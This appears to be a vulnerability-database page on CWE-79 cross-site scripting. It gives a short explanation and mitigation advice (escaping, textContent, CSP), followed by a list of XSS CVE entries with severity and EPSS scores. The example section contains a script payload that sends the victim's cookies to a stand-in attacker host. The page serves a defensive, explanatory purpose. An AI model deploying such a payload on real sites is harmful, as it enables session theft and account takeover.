Fallos del tipo CWE-79

28.839 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-25730HIGHCross Site Scripting (XSS) vulnerability in ZoneMinder before version 1.34.21, allows remote attackers execute arbitrary code, escalate privEPSS 0.6%CVE-2026-27222MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-44207MEDIUMStored cross-site scripting (XSS) vulnerability in protection plan name. The following products are affected: Acronis Cyber Protect 15 (LinuEPSS 0.6%CVE-2026-32124MEDIUMOpenEMR: Dynamic Code Picker Renders Unescaped Descriptions (Stored XSS)EPSS 0.6%CVE-2025-46198HIGHCross Site Scripting vulnerability in grav v.1.7.48, v.1.7.47 and v.1.7.46 allows an attacker to execute arbitrary code via the onerror attrEPSS 0.6%CVE-2021-20994HIGHWAGO: Managed Switches: Reflected Cross-site ScriptingEPSS 0.6%CVE-2026-32125MEDIUMOpenEMR: Stored XSS in Track Anything Graphs via Unescaped Dygraph Titles/LabelsEPSS 0.6%CVE-2026-27258MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-51800MEDIUMCross Site Scripting (XSS) vulnerability in School Fees Management System v.1.0 allows a remote attacker to execute arbitrary code via a craEPSS 0.6%CVE-2020-3113MEDIUMCisco Data Center Network Manager Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-2936MEDIUMImage Hover Effects Ultimate <= 9.7.3 - Authenticated Stored Cross-Site Scripting via Video LinkEPSS 0.6%CVE-2022-2516MEDIUMVisual Composer Website Builder <= 45.0 - Authenticated Stored Cross-Site Scripting via 'Title'EPSS 0.6%CVE-2021-3052HIGHPAN-OS: Reflected Cross-Site Scripting (XSS) in Web InterfaceEPSS 0.6%CVE-2020-3185MEDIUMCisco TelePresence Management Suite Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2021-24168—Easy Contact Form Pro < 1.1.1.9 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 0.6%CVE-2023-3884LOWCampcodes Beauty Salon Management System edit_product.php cross site scriptingEPSS 0.6%CVE-2022-48327MEDIUMMultiple Cross Site Scripting (XSS) vulnerabilities in Mapos 4.39.0 allow attackers to execute arbitrary code. Affects the following parametEPSS 0.6%CVE-2023-3726MEDIUMOCSInventory-ocsreports 2.12.0 - Stored cross-site ScriptingEPSS 0.6%CVE-2022-45382MEDIUMJenkins Naginator Plugin 1.18.1 and earlier does not escape display names of source builds in builds that were triggered via Retry action, rEPSS 0.6%CVE-2025-32430MEDIUMXWiki Platform contains Reflected XSS vulnerability in two templatesEPSS 0.6%